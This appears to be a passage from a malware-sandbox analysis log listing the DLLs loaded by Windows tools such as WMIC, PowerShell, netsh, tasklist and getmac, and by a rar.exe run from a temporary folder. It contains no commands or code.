Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
